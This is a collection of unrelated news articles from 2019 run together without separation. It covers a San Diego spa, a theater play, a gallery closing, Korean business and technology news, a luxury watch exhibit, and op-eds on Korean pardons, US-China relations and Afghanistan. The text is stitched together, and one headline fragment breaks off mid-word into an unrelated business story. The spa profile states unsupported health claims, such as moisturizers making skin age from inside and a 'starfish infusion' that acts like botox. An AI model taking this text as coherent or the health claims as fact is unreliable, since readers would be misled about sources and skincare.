Kiwi Spa is at 1919 Grand Ave., Suite 1L, in Pacific Beach. ( Courtesy )

The spa opened two years ago at 1919 Grand Ave. in Pacific Beach . Its a dream come true for Maya after a world tour of working in different spas. My life has taken me to 23 different countries where Ive been practicing and improving my knowledge, she explained. Growing up in Ukraine, her first inspiration was her grandmother who was an organic esthetician, she said. She would go into the forest and pick roots and plants, and she healed skin issues for people whose doctors couldnt help, Banks recalled.

At age 18, she followed her boyfriend to Israel. By that time, she finished cosmetology school and got her first job with his sister, who was an esthetician. Banks worked in Israel for five years, until the spa franchise opened a location in Croatia and sent her to be the manager/esthetician. Next, she did the same at a new spa in Cyprus, then in the Dominican Republic. While there, she said: I did a facial for one guy from the United States, and he started to come to me regularly. We got married and thats how I came to the States.

At that point, she was ready to open her own spa, taking the best from each spa she managed and combining it all at Kiwi Spa: It was always my dream to have something that belongs to me ... something organic and all natural so people can see the results immediately ... and it doesnt cost a lot of money.

Kiwi Spa uses only vegan and organic ingredients  nothing synthetic  and Banks explains why: When you apply commercial moisturizers, they have ingredients that make their shelf life very long, but when they penetrate your skin, they dont dissolve. Theyre stuck, like little microscopic pieces. As you use them over the years, the ingredients build up and close the entrance of oxygen, so you start to age from the inside.

Banks also believes in the power of machines, and uses only the latest, state-of-the-art technology. She recently purchased the Jet Peel machine, which no other spa in San Diego County has. (Only two spas in Beverly Hills have the same machine.) Jet Peel is a touch-free, needle-free transdermal infusion technology from Israel. It combines oxygen and saline in a high-pressure jet stream that penetrates the skin deeper than a needle. Banks said the speed of the jet stream is 777 miles per hour. The jet stream of micro droplets exfoliates the skins surface and is infused with serums to stimulate collagen and elastin. Jet Peel delivers instant results with no downtime or skin irritation.

Another popular machine-based procedure is the Hydrokiwi Facial, which combines micro-dermabrasion and oxygen infusion to improve sun damage, acne, rosacea and the effects of aging. There are dozens more unique facials available.

Instead of botox, Banks uses starfish infusion. Its all natural, but it works like botox, she said. It relaxes your muscles in a natural way and you dont feel like your muscle is dead, but you feel all plumped, and the results are amazing.

Other ingredients used include rose water, coconut butter, witch hazel, cocoa butter, raw organic honey, white clay, chamomile and green matcha tea, and even coffee. I invest a lot of time in my customers because I really love what I do, she said. If a customer comes for a one-hour facial, I invest half an hour on consultation, an hour for the facial, and another half hour to give them recommendations to go home with and some samples.

Banks plans to open a Kiwi Spa in Solana Beach this year, and eventually, hopes to franchise her brand.

 Kiwi Spa is located at 1919 Grand Ave., Suite 1L, in the Pacific Beach area of San Diego. (619) 621-1177. kiwi-spa.com

 Business Spotlights feature commercial enterprises that support this publication.THEATER PREVIEW:

The Channel Islands. I knew they were somewhere off the coast of England. But it seems theyre much closer to France, around Normandy, where Allied forces stormed ashore on D-Day in 1944. For most of World War II, they were occupied by the Nazis, who remained there until the wars end. And one of those islands, Guernsey, is the setting for Gabriel, a suspenseful, romantic and unusual wartime drama opening Feb. 20, 2019 at North Coast Repertory Theatre (NCRT).

Written by Moira Buffini, a prolific British playwright/screenwriter, Gabriel has been seen on various stages since its award-winning London production in 1997. This is the West Coast premiere of a play that will leave audiences talking about it long after the curtain falls.

Director Christopher Williams said he discovered Gabriel, with its title in big, bold letters, on a desk in the NCRT office over two years ago, when he first took on the job of assistant artistic director. Its a great World War II play, a staff member commented. You should read it.

Williams had more than a casual interest in World War II. A quarter of my life has been World War II-related, he said in a pre-show interview. I spent 10 or 11 years studying it when I was producing a film in England  Walking with the Enemy, with Ben Kingsley .

He said he found Gabriel so intriguing that he brought it to artistic director David Ellenstein, and they did a reading at the theater. People really enjoyed it, so Ellenstein decided to do a full-scale production, and asked Williams to direct.

Williams has a pretty diverse background. As an actor, hes performed at theaters around the country, and in many shows at NCRT  most recently as one of the three possible Holmeses in last seasons super-successful Holmes and Watson. He was founding director of the Oceanside Theatre Company, and hes a fight choreographer, too.

And hes very enthusiastic about Gabriel and playwright Moira Buffini. Her characters have so many layers, he said. There are a lot of secrets and lies, so just when you think everything ought to be OK, something new is revealed that keeps the mystery going.

Who are the characters in this multi-layered mystery-drama?

Theres Jeanne, an elegant widow trying to hold the remains of her household together; her headstrong 10-year-old daughter, Estelle; Lily, the Cockney wife of Jeannes adored son, whos away at war; Margaret, the housekeeper; Von Pfunz, the poetic, not-to-be-underestimated Nazi officer; and the handsome amnesiac who washes up half-dead on the shore and is nicknamed Gabriel.

Who is he? A downed British airman? A missing SS officer? Or maybe something else  something ... supernatural?

Gabriel is sure to raise some interesting questions. And you may have to work out the answers yourself.

 IF YOU GO: Gabriel takes the stage Feb. 20-March 17, 2019 at North Coast Repertory Theatre, 987 Lomas Santa Fe, Solana Beach. Tickets: $42-$53. (858) 481-1055. northcoastrep.orgSuddenly, the lights cut out and the room went pitch dark. Usually, gallery owners want people to be able to see the art at their art openings. But at La Jollas Misfit Pictures, you never know what might happen.

And so, during former City Council member Donna Fryes Crazy Town exhibit on Oct. 24, 2018, Love Music by Sergio Mendes & Brazil 77 blared at top volume into the darkness, Misfit co-owner Pierce Kavanagh switched on some black lights and handed out glow sticks, and dozens of unsuspecting but open-minded strangers began dancing together.

There, in a 1,300-square-foot basement storefront at 565 Pearl St.  next to yoga and fitness studios that had closed hours earlier for the day  a full-on rave ensued.

Now, the lights are probably going out for good at Misfit. On Feb. 5, Pierce posted the news on the gallerys Facebook page: Our lease is up in two months and unless we have the best two months of our history, we will be forced to close the doors.

Misfit Pictures is underground both metaphorically and literally, located beneath street level in the front of an office building on Pearl Street. (COREY LEVITAN)

In 2016, Pierce and his wife, Petra  surf documentarians who founded the San Diego Surf Film Festival in 2012  opened their dream with $18,000 in Indiegogo seed money from friends and supporters in the surfing, film and art communities. Misfit was the perfect name, because its not a place anyone would expect to encounter in La Jolla, where art is usually envisioned as a $50,000 painting by a famous dead guy.

At the time, the Kavanaghs told the Light they wanted Misfit to bring the art scene back to life in La Jolla. They wanted it to host art exhibitions, book releases and film premieres.

Basically, things that I would like to see myself around town but I dont, Pierce said. We want to become a community center.

Now, one three-year lease term later, each of those goals has been achieved and then some. Misfit has hosted exhibits by some of the most important working artists in California, including Joel Farson, Jon Foster and Shawna Ankenbrandt.

On many of the dozens of occasions this reporter walked unannounced into the gallery, which is located in the Lights office building, it was into a totally different and unpredictable scene: surfboard-shaper Carl Ekstrom discussing his favorite board designs; former Brotherhood of Eternal Love co-founder Ronnie Bevan recalling that time he smuggled the first load of hashish from Afghanistan to America in 1967; elementary-school students creating projects after school while mercilessly ragging on Pierce for his aversion to beard-grooming. (For a while last year, the Kavanaghs held the LJ Arts Youth Program, which rewarded students with actual wall space in the gallery.)

The Kavanaghs basically brought the idea of Andy Warhols Factory studio from 1960s Greenwich Village into 2010s La Jolla, bringing the freest thinkers from a firmly established and under-served local counterculture into a collective that speaks with as much artistic authority to its audience as the Athenaeum Music & Arts Library does to theirs.

Word spread among artists, surfers and skateboarders, and the former members of La Jollas infamous Mac Meda Destruction Company social group, that something truly fun, creative and underground was happening in La Jolla again. Attendance at each new event duly increased. At one  a screening for Chris Burkards short film Under an Arctic Sky  20 people had to be turned away at the door.

Pierce snaps a selfie during a Feb. 3, 2018 opening for photographer Melissa Montoya and illustrator Carolina Arrieta. (COURTESY)

But you cant pay the rent with countercultural significance. Perhaps something so underground was simply doomed to fail in a town so overpriced.

They want to bring another realtor office in here to sell more million-dollar houses, Pierce says. Maybe thats all La Jolla deserves, but I still have hope that something good will happen and well be able to stay. I still am positive.

To make the new rent starting in April, Misfit would need a significant bump in its average monthly income. Pierce declined to translate this bump into actual dollars, but noted that Petra already puts in 25 hours a week at Pannikin Coffee & Tea just so the couple can basically break even on their expenses.

In order to keep this place afloat, its not that expensive when you consider all the smiles and rad stuff thats gone on here, Pierce says. Its just that we dont happen to have that money.

If things dont work out, Petra has a fallback dream  opening a vintage resale store specializing in 70s-90s clothing and accessories  and Pierce says hell just scramble for money like he always has.

Already, one of their supporters  a body surfer from Newport Beach who only ever visited the gallery twice  has started a GoFundMe page.

Im not going to tear up, Petra says as she tears up. Its really sweet how some people want to help, but

Pierce cuts her off.

But were not looking for a handout, we just hope everyone we know goes on a simultaneous art binge and saves us, he says.

The Misfit Gallerys next art opening, 6-9 p.m. Saturday, Feb. 16, is called Diverse Directions and features artwork by Joshua Ben Paskowitz, Patrick Parker and Gomez Bueno, with live jazz by Red Shift and a DJ set by Jared Aufritchtic. Admission is free.

 For information about Misfit Pictures or to purchase art, call (858) 291-8553 or visit misfitpictures.com

 A GoFundMe has been set up to financially support Misfit Pictures: gofundme.com/f/misfit-gallery-fundraising-campaignCOLUMN: THE REGARDIE REPORT

Getting Ready for Some Brutal Battles in 2020

Los Angeles Will See Several Fierce Elections, and They Are Only a Year Away1. Comedian Amanda Seales (of HBOs Insecure) is about to take you to school. Sick of the stereotypes about African Americans in media and the overall lack of knowledge of black history, Seales mixes humor and her doctorate in African American studies with her love of games and music to crPOSCO Daewoo CEO Kim Young-sang, right, holds an MOU with Orexim Group Chairman Yuri Budnyk in Kyiv, Ukraine, Tuesday. Courtesy of POSCO Daewoo



By Nam Hyun-woo



POSCO Daewoo will run a grain export terminal in Ukraine, becoming the first Korean firm to operate an overseas grain terminal contributing to Korea's food security, the trading firm said Wednesday.



According to the company, it signed a deal with Ukraine's Orexim Group over acquiring a 75 percent stake in the terminal in the port of Mykoliv in southern Ukraine, which is one of the main export hubs around the Black Sea. It did not reveal the amount of the deal.



The terminal is currently under construction with plans for completion in July this year. It will be capable of shipping up to 2.5 million tons of goods in a year.



Orexim Group is one of Ukraine's leading logistics companies, having multiple logistics units under its wing. The group exported 1.4 million tons of sunflower seed oil in 2017, accounting for 30 percent of the total outbound sunflower oil shipments of the country.



By acquiring the rights, POSCO Daewoo can have logistics control over a significant amount of Ukrainian grain coming into the terminal. Approximately 22 percent of Ukraine's grain exports is going out through the Mykoliv port, according to POSCO Daewoo.



Ukraine is one of the emerging grain exporting countries in the world, with its food production volume doubling to 77 million tons in 2017 from 40 million in 2007. Of them, exports increased fivefold to 43 million tons from 8.5 million tons during the same period, making the country the world's No. 4 exporter of corn and No. 6 for wheat.



According to the United States Department of Agriculture, Ukraine's grain exports will reach 75 million tons in 2027, attracting not only major grain companies including Cargill of the U.S. and Glencore of Switzerland but also Japanese trader Sumitomo to invest into the country's agricultural industry.



"The project was carried out as one of the 100 tasks announced by POSCO Group Chairman Choi Jeong-woo," a POSCO Daewoo official said. "This also has significant meaning as it contributes to the country's food security in a potential worldwide food crisis."



As of 2017, Korea's self-sufficiency rate is 48.9 percent, far below leading countries such as Argentina with 273 percent, Uruguay with 232 percent, and Ukraine with 193 percent. When it comes to grain, Korea's rate plunges to 23.4 percent, far below OECD nations' average of 85 percent.



Especially, Korea's corn and wheat self-support rate is remaining below 2 percent, importing 10 million tons of corn and 5 million ton of wheat in 2017.



Since POSCO Daewoo is operating the terminal, it can control the amount of grain purchase, storage and the order of shipping, thus having a capability to help improve Korea's food security.



The project is also in line with the Presidential Committee on Northern Economic Cooperation's plan to improve economic relations with Eurasian countries.



"POSCO Daewoo aims to become Korea's largest food resources company capable of handling 15 million tons of food and is working on building a food value chain starting from the farm to logistics," the official said.







South Korean shipbuilders came in second worldwide in total new orders last month, outpaced by Chinese rivals, industry data showed Wednesday.





According to the data compiled by industry tracker Clarkson Research Institute, local shipyards garnered new orders worth a combined 580,000 compensated gross tons (CGTs) in January to build 12 ships.





Chinese shipbuilding companies took the top spot with 1.08 million CGTs to construct 57 vessels.





Last month, the total global orders were tallied at 2.14 million CGTs, far below the previous year's 3.58 million CGTs and the monthly average of 2.48 million CGTs.





China topped the list of order backlog with 28.9 million CGTs, followed by South Korea with 21.61 million CGTs and Japan with 13.69 million CGTs.





In 2018, South Korean shipyards, for the first time in seven years, ranked No. 1 in terms of annual orders secured. Increased orders for LNG carriers helped Korean shipbuilders retake the top spot in the global hierarchy.





South Korea lost its No. 1 position to China in 2012 and was second up until 2017. (Yonhap)

In this September 2014 photo, Renault Samsung employees ship the first batch of the Nissan Rogue, which was assigned to a Renault Samsung plant in Busan. The Rogue's manufacturing contract will end in September and Renault Samsung is suffering difficulties in seeking new models to keep the plant fully operational amid a conflict with its union. Courtesy of Renault Samsung Motors



By Nam Hyun-woo



Union workers at Renault Samsung Motors are facing growing criticism for making excessive demands in wage negotiations with management as the struggling carmaker continues to lose ground to Hyundai, Kia and other rivals.



The workers, who have been staging a series of partial strikes over the past four months, are demanding a hike in their base wage, but management wants to freeze it, saying the Korean unit of French automaker Renault has been grappling with sluggish sales and intensifying domestic and overseas competition.



The partial strikes are estimated to have cost the company 120 billion won ($110 million) in lost production, according to Renault Samsung officials. They said if the strikes continue, the company may not receive new production allocations from its French headquarters, which could lead to the dismissal of thousands of workers.



According to Renault Samsung, Wednesday, union workers at its Busan plant staged two four-hour partial strikes the same day, after their 14th round of wage negotiations with management ended without results a day earlier.



The union plans to stage another round of strikes Friday, which will be the 32nd, and increase stoppage time to 120 hours.



The union has been demanding a 100,667 won hike in employees' monthly base pay and several other regular incentives, citing Hyundai Motor workers' wages in comparison. The management is suggesting a lump sum payment of up to 14 million won for employees in return for keeping the base pay static.



Industry officials have criticized Renault Samsung union's demand for being excessive, given the plant's workers are already receiving top-level wages.



"Compared to Hyundai Motor workers, Renault Samsung employees receive less. However their wages are 20 percent higher than those of a Nissan plant in Japan, which is also a subsidiary of the Renault-Nissan-Mitsubishi alliance," an industry official said asking not to be named. "Given that, the union's claim may seem unacceptable for not only Renault Samsung but also its headquarters."



The tug of war is threatening Renault Samsung's survival in the domestic market.



To maintain its operations, Renault Samsung has to produce cars  whether Renault cars for the domestic market or another alliance brand's models such as Nissan's Rogue  by beating other Renault alliance plants across the world and winning new contracts from the headquarters.



Since the current contract for producing the Rogue will end in September, the company has to win contracts for new models, because the Rogue accounted for nearly 80 percent of its exports and half of its sales last year.



However, the union's stubborn stance is slowing talks over new contracts because the plant's inefficiency is undermining its competitiveness over other Renault plants worldwide.



Last week, Renault headquarters urged the union to suspend the strike, saying winning new contracts would be difficult as the walkout was contributing to "a lack of trust" in the Korean unit.



Renault Samsung is casting a more negative outlook over winning new models, saying last month was the last chance to win a new model.



"We are already late in negotiations with headquarters over new model allocations, given that we signed the contract for the Rogue one year before actual production started," a company official said. "We don't think there will be any chance left unless the wage negotiations come to an agreement within this month."



The unit released the Clio compact SUV and the Master commercial vehicle, which are imported, as their only new models last year, and has no plans to roll out new cars this year.



As it has failed to refresh its lineup, sales have also plunged. Renault Samsung's sales have declined from 111,101 in 2016 to 100,537 in 2017 and 90,369 last year. The company has been at the bottom among the five domestic carmakers by sales since 2017.



In January, Renault Samsung allowed Mercedes-Benz to become the country's No. 4 brand by sales, despite the price advantage it has as a manufacturer based in Korea.



Employees at SK Telecom wearing AR glasses hold a meeting through a "T real telepresence" system that enables those at different locations to meet together in a virtual space. / Courtesy of SK Telecom



By Jun Ji-hye



SK Telecom unveiled its smart office systems incorporated with new information and communications technologies such as fifth-generation (5G) networks and artificial intelligence (AI), Wednesday.



Showcasing four smart systems including a 5G walking-through system at its office in Seoul, the nation's top mobile company said those systems will improve workplace convenience and efficiency.



The unveiling of the smart office systems came after the firm unveiled its smart factory systems designed to innovate the manufacturing industry in December in an effort to captivate corporate clients ahead of the launch of full-scale 5G networks services scheduled for March.



"The 5G smart office will maximize flexibility of companies and improve productivity at work and the overall quality of life," said Shin Sang-kyu who heads the employee relations group at SK Telecom.



The firm said the 5G-powered smart office is the result of integration of various technologies such as AI, internet of things (IoT), augmented reality (AR) and virtual reality (VR), enabling workers to be free from time and space constraints.



The telecom company said it established the smart systems at its office in Seoul and has been operating it as a test bed. It plans to develop and specify business models in cooperation with cloud service providers as well as hardware and software partners.



SK Telecom said it installed IoT sensors at places such as ceilings and corridors of the office to collect information on temperature, brightness and humidity. Such information is delivered to servers in real time, and air conditioners and other devices are controlled automatically.





A model promotes SK Telecom's 5G walking-through system mounted with image recognition technology, which enables workers to enter the office without a pass. / Courtesy of SK TelecomKAIST President Shin Sung-chul, front row left, shakes hands with professor Collette A. Suda, chief administrative secretary and principal secretary at the Kenyan State Department for University Education and Research, during a ceremony at Konza Technopolis City, Kenya, Tuesday, to kick off a project to carry out consulting work on curriculum design for the establishment of Kenya KAIST. / Courtesy of KAIST



By Jun Ji-hye



The Korea Advanced Institute of Science and Technology (KAIST) has officially kicked off a project to introduce its research and education programs to Kenya, which is working to establish the Kenya Advanced Institute of Science and Technology (Kenya KAIST), the Korean university said Wednesday.



The kick-off ceremony took place in Konza Technopolis City located near Nairobi, Tuesday (local time). About 30 figures participated in the event, including KAIST President Shin Sung-chul and Kenyan Principal Secretary for ICT and Innovation Jerome Ochieng as well as professor Collette A. Suda, chief administrative secretary and principal secretary at the Kenyan State Department for University Education and Research.



The African country, which is striving to modernize itself based on science and technology, plans to open Kenya KAIST in 2021 to nurture high-skilled manpower in the natural sciences and engineering sectors. It is part of the country's mid- and long-term national development plans to join the ranks of developed countries by 2030.



The Kenya KAIST establishment project with a scale of $95 million is financed by Korea's Economic Development Cooperation Fund (EDCF) that was set up in 1987 to promote economic cooperation between Korea and developing countries.



The KAIST consortium, formed with architectural firms, won a competitive bid worth $9.5 million last year to carry out consulting work on architectural and curriculum design for the establishment of Kenya KAIST. The consortium signed a final deal with the Kenyan government, Nov. 30.



Under the deal, KAIST will do consulting work for 36 months in designing basic science curriculum and establishing management systems, the university said.



KAIST has previously introduced parts of its programs related to research and education to China and the Middle East, but this marks the first time it has exported its entire program to another country, the university added.



KAIST President Shin said the university's participation in the Kenyan project was meaningful, considering the university was established in 1971 with a $6 million loan from the United States.



"KAIST has jumped to become a world-level university in half a century since it was set up through foreign aid," Shin said during his speech at University of Nairobi, Wednesday. "Now, KAIST is handing down its successful models to a developing country."



Shin said the university will support the establishment of Kenya KAIST sincerely to contribute to the modernization of the African country.

There are masterpieces of watchmaking know-how that few ever get to see.

This month, Vacheron Constantin has announced that it will offer the public the unprecedented opportunity to view a selection of 20 spectacular and unique timepieces produced by its bespoke workshop, the Atelier Cabinotiers. The timepieces will be exhibited for the first time in a traveling show in select U.S. locations.

It is with great pleasure that we are able to present 20 exceptional Vacheron Constantin Les Cabinotiers timepieces in the United States, said Leslie Kobrin, Vacheron Constantins president of Americas.

The exhibition will showcase the workmanship of the Cabinotiers watchmakers, considered to be some of the worlds most skilled artisans who push the boundaries of watchmaking excellence.

The term cabinotiers dates back to the 18th century and referred to Genevas most experienced watchmakers, some whom were employed by Vacheron Constantin itself founded in Geneva in 1755.

The cabinotiers were alchemists of time who crafted astonishing, client-commissioned watches, and were masters of their art, Vacheron Constantin explains.

At Vacheron Constantin, Atelier Cabinotiers refers to the workshop the brand established in 2006 to cater to an exclusive clientele of connoisseurs who commission or wish to acquire a one-of-a-kind or bespoke timepiece. The timepieces produced by that workshop are rarely ever seen by the public, for the simple reason that they are made-to-order for a special client. Some are shown to the press or to select clients.

The cabinotiers tradition lives on at Vacheron Constantin today through our rare and precious Les Cabinotiers collections which make up both bespoke pieces tailored to our clients desires, and one-of-a-kind masterpieces dreamed up by our Les Cabinotiers department, the Maison says.

A Tradition of Metiers dArt Timepieces

Among the pieces in the show are awe-inspiring artistic crafts timepieces that display the Maisons know-how in ancient techniques of enameling, engraving and wood marquetry.

Last month, at the Salon International de la Haute Horlogerie, Vacheron Constantin had presented a selection of Cabinotiers-produced timepieces that paid tribute to the Animal Kingdom. Titled Mecaniques Sauvages, the collection included the Imperial Tiger, a rose-gold timepiece that took some 60 hours of crafting, and showcased the association of two ancestral decorative techniques: bas-relief engraving  applied to sculpt in gold a three-dimensional tiger perched on a rocky mound - with wood marquetry - to create the green background of the landscape and foliage.

The Imperial Tiger timepiece is now in the travelling show and will be presented with a magnifying glass to allow the viewer to appreciate the finesse of its craftsmanship.

Wood marquetry  Vacheron Constantin

Whether singly or combined, engraving and wood marquetry give life to these timepieces through a play on contrasts, colors and volumes that reproduce the stance and character of wild animals, the atmosphere pervading their surroundings, as well as the luxuriance of nature, the Maison said.

The engraving work creates a relief effect that brings the beast alive, with alternating matte, polished, satin-brushed and chased finishes that produce contrasts. Black oxidation reveals the stripes of the tiger.

In turn, the marquetry (or inlay) technique creates motifs with a multitude of small, individually hand-cut wood veneers in various shades and shapes. Each is cut, carefully nested so as to direct the grain of the wood and align its fibers. On the dial of the Imperial Tiger, over 200 wood pieces were assembled to form the rocky backdrop, and some 130 pieces to create the foliage.

Les Cabinotiers Imperial Tiger  Vacheron Constantin

Beside the Imperial Tiger, none of the timepieces in the travelling exhibition has been shown before. The Minute Repeater Tourbillon Twilight, featured in the show, demonstrates the art of grand feu and grisaille enameling on the dial of the one-of-kind timepiece.

The richness of the chromatic range accentuates the realism of the scene that takes shape under the expert hand of the master artisan, who crafts each of these unique pieces with delicacy and sensitivity, the Maison says.

A tradition of innovation

For an example of the technical mastery of Vacheron Constantin, the Maitre Cabinotier Retrograde Armillary Tourbillon wristwatch features double retrograde indications and an armillary tourbillon inspired by a specially-commissioned pocket watch produced by the Atelier Cabinotiers in 2015.

Known as the reference 57260, that pocket watch was the worlds most complicated timepiece with a whopping 57 complications packed in a timepiece that took three master watchmakers eight years to produce. While the pocket watch will not be displayed in the show, the Armillary Tourbillon is a close runner-up when it comes to demonstrating Vacheron Constantins sophistication in customized timepieces.

Armillary Tourbillon  Vacheron Constantin

Atelier Cabinotiers had in recent years proved its dedication to technical innovation with spectacular timepieces like the Les Cabinotiers Celestial Astronomical Grand Complication 3600, that combined modern know-how with traditional aesthetics.

The double-sided wristwatch incorporated 23 complications, mostly astronomical in nature, including three different time indications  civil, solar and sidereal  with a sunrise and sunset indicator, and a rarely seen mareoscope function with a tide level indicator and a 3D depiction of the earth-moon-sun alignment, to indicate the gravitational attraction and centrifugal forces of heavenly bodies that impact the tides. The moon phase display, assures the Maison, would need a one-day correction once every 122 years.

Each in their own unique way, the timepieces in the show are a marvel of excellence in traditional craftsmanship and mechanical precision.

A first-ever U.S. tour

The presentation of this collection of Les Cabinotiers pieces in four major cities of the U.S is a first for our Maison, Kobrin says.

The U.S. tour of the Cabinotiers timepieces began on February 6 at Vacheron Constatins Beverly Hills boutique. Further stops are planned in the brands boutiques at the South Coast Plaza [February 9-12], followed by the Miami Design District, and finally in New York [February 20-23] at Vacheron Constantins flagship Madison Avenue store.

Inside Vacheron Constantin's Miami store  Vacheron Constantin

Watch collectors as well as art and jewelry lovers will be delighted by the opportunity to see these rare complicated and artistic timepieces in person, the Maison says.Moon should refrain from using amnesty for political gain



A controversy has arisen over President Moon Jae-in's plan to grant special pardons on the 100th anniversary of the March 1, 1919, Independence Movement. The reason is because he might misuse his amnesty right for political purposes.



According to the presidential office, the Ministry of Justice is in the process of sorting out beneficiaries of a special amnesty. At present, no one knows how many and who will be on the list of those eligible for these presidential pardons.



However, speculation is rampant that some progressive figures convicted of violating the law in politically sensitive cases might receive pardons. Some media outlets, particularly conservative newspapers, have raised the possibility that former Prime Minister Han Myeong-sook and Lee Seok-ki, a former lawmaker of the now-defunct leftist United Progressive Party, might be shortlisted for clemency.



In 2015, the Supreme Court upheld a lower court ruling against Han who was indicted on charges of receiving about 900 million won in bribes from a construction firm. In 2014, Lee was sentenced to 12 years in prison on charges of plotting a pro-North Korean rebellion.



Both Han and Lee were found guilty under the rule of conservative President Park Geun-hye who was ousted from power in 2017 for her role in a massive corruption and influence peddling scandal. Civic activists have called for amnesty for Han and Lee, arguing that the Park regime put them behind bars as political retaliation against the progressive camp.



The media also reported possible amnesty for such progressive figures as former Gangwon Province Governor Lee Kwang-jae and Han Sang-kyun, a former leader of the militant Korea Confederation of Trade Unions. Gov. Lee, a close aide to the late President Roh Moo-hyun, was convicted in 2011 for receiving illegal political funds from a business tycoon, while Han was sentenced to five years in prison in 2015 for orchestrating illegal and violent rallies against the Park government.



Conservative opposition parties including the Liberty Korea Party and rightist organizations are strongly against granting special pardons to those progressive figures. They urge President Moon not to abuse his right to clemency. They also argue that if the President pardons the abovementioned figures, he could invite the rage of the people by breaking his campaign promise to exercise his amnesty right in a restricted manner.



Against this backdrop, the presidential office made it clear that Moon will not pardon those who were convicted of bribe-taking and other corruption charges. We hope the President will keep his promise not to abuse the special pardons. This time, special amnesty, if realized, will be the second of its kind after Moon pardoned 6,400 people, mostly minor offenders, in December 2017.



Presidential pardons are no doubt aimed at cementing social cohesion and national harmony by forgiving those convicted of a minor crime. They should not be abused or misused for political gain, which could risk undermining the core foundation of democracy  the rule of law. It remains to be seen whether Moon can respect this democratic value while exercising his presidential right.









By Andrew Hammond





With a March 2 deadline approaching, the United States and China begin a new round of negotiations this week to agree on a breakthrough trade deal. Yet, this is not the only big foreign win Donald Trump is seeking this month as he also prepares for his second summit with Kim Jong-un.







The mood music and expectations surrounding both appears high, but each process remains fragile.







This week's negotiations in Beijing, which will be led by senior officials on both sides including U.S. Treasury Secretary Steven Mnuchin and Chinese Vice Premier Liu He, comes amid growing signs a deal is possible to avert a potential trade war.







Trump asserts a "very big deal" is on the horizon and there is a possibility he may himself travel to Beijing to try to seal an agreement with President Xi Jinping before or after seeing Kim in Vietnam.







Yet even if a China deal emerges, key questions remain about whether this will be any more than a temporary truce, or the potential beginnings of a bigger Washington-Beijing grand bargain which Trump says he wants, including in relation to Pyongyang. This uncertainty underlines that bilateral ties, overall, remain mixed with tensions not just in the economic realm but also in broader security and political relations.







Outside of North Korea, where Trump and Xi cooperated to positive effect during much of 2018 to bring Pyongyang to the negotiating table, a string of security issues still cloud the bilateral agenda. This includes South China Sea tensions.







Yet, it is economic disputes that are currently at the fore of the bilateral relationship. And here it is by no means certain that a U.S.-China deal will be done by March after Trump agreed late last year to hold off for 90 days from the planned increase from 10 percent to 25 percent in U.S. tariffs on some $200 billion worth of Chinese goods.







If the talks break down, the mood music could look very different. And Trump is already reported to be soon signing an executive order that will ban Chinese telecommunications equipment from U.S. wireless networks which will needle Beijing.







Trump has previously asserted that "China  has been very tough on our country  We probably lost last year 500 billion U.S. dollars in trade to China. Think of it: 500 billion."And it is this narrative that Trump may yet return to this year if he judges it in his political interests.







On the face of it, therefore, it appears too soon to dismiss the prospects that bilateral tensions will definitely subside in 2019 even if there is a trade deal. Ultimately, as Trump moves into the second half of his term of office, he needs to show his U.S. political base a wide range of concessions from China to seek to fulfill his "America first" agenda.







What he ideally favors  building on the recent diplomacy with Xi over North Korea  is a wider grand bargain with Beijing extending beyond the economic arena, where one of his key demands is to see the Chinese currency floated, to other security issues too. A big bargain of this kind could also have a broader positive effect on international relations, helping underpin a renewed basis for bilateral relations under the Trump presidency into the 2020s.







While this potential grand bargain is an agenda item for later in Trump's presidency, North Korea is a clear and present issue with the summit in Vietnam. Ever since Singapore last year, it remains an open question whether sustained moves toward "denuclearization" of the Korean Peninsula will ultimately prove anything more than a mirage.







Yet, despite all the challenges, Trump is nonetheless likely to continue his Korea gambit with a potential 2020 re-election campaign on the horizon. This, along with his desire to cement a place in history, means the potential prize is likely to remain appealing in de-escalating tensions in the world's last Cold War frontier on a sustained basis.







At the heart of the apparent logjam, right now, between Washington and Pyongyang is not just the vagueness of the commitments in Singapore. There also may still be a fundamental difference between Pyongyang and Washington over what next steps are needed to build confidence.







It was always very likely that Kim would be wary about making big concrete commitments, at least initially, and want to win economic and political concessions from Trump before any reduction in nuclear capabilities, let alone committing to "full denuclearization." And in this context, Kim is reportedly looking for Trump to give his support for formally ending the 1950-53 Korean War.







On the face of it, this seems a simple, albeit very symbolic, step. Yet, some U.S. officials and conservatives in South Korea are concerned such a declaration would weaken the Washington-Seoul alliance and remove the rationale for the 28,000 U.S. forces stationed in the South.







Taken together, this underlines why February is such a big month for Trump. He could yet enter March on the crest of a foreign policy wave, or unexpectedly suffer plunging fortunes if talks with Pyongyang and/or Beijing crash.









Andrew Hammond (

) is an associate at LSE IDEAS at the London School of Economics





By Dr. Ahmad Rashid Malik





Solving the Afghan tangle is a herculean task, yet it is possible if sincere efforts are made. In the past, many peace efforts were launched to bring peace to Afghanistan but to no avail. A peace process involves a number of tasks to be fulfilled by two or more parties.



Recently U.S. and Taliban negotiators have agreed on a draft framework for a peace deal seeking to put an end to the 17 year conflict in Afghanistan. The issues are quite complicated.



Pakistan also played its role as a peace broker. Zalmay Khalilzad, the U.S. special representative for Afghanistan reconciliation at the Department of State, contacted the Taliban in an attempt to bring peace to the country.



The Taliban are a top insurgent group who ruled the country with an iron hand from 1996 to 2001. They brought tranquility in Afghanistan. The country was attacked in 2001 by the United States seeking revenge against the Taliban.



The Taliban situation has been much changed from that time. They have re-emerged as a force to negotiate with the Americans. Under these circumstances, is it possible to strike a deal with the Taliban? The Doha talks have not brought any peace initiative so far. Things are quite complicated.



The U.S. major concern is al-Qaida and its possible return to the Afghan crisis. Would the Taliban return in order to give guarantees concerning al-Qaida? This will lead Afghanistan to not become the home ground for al-Qaida's activities in the future.



A political solution is badly needed in Afghanistan. A military-related solution has lost its strength and is weakening. Political talks, although tough, have gained strength.



It has been agreed in principle that Washington will to pull out its troops from Afghan soil soon. However, no timetable has been given so far. Some quarters have been talking about the 18 months, yet nothing is clear. An American withdrawal in the 1980s invited a bloody civil war in Afghanistan, which it is not repeating it again.



A good result is expected now and America will put all of its efforts toward achieving this end. The American withdrawal should not leave others to fill the vacuum whether these be Pakistan, Iran or India. For America, any vacuum means the beginning of a civil-war in Afghanistan.



The Taliban were not excluding Pakistan from U.S.-led talks held in Doha to seek a negotiated end to the Afghan war. Pakistan was a facilitator and had fulfilled its task of coaxing the insurgents to the table for dialogue. The U.S. has long been pressuring Pakistan to use its influence over the Taliban to bring them to the negotiating table, which actually Pakistan did this time.



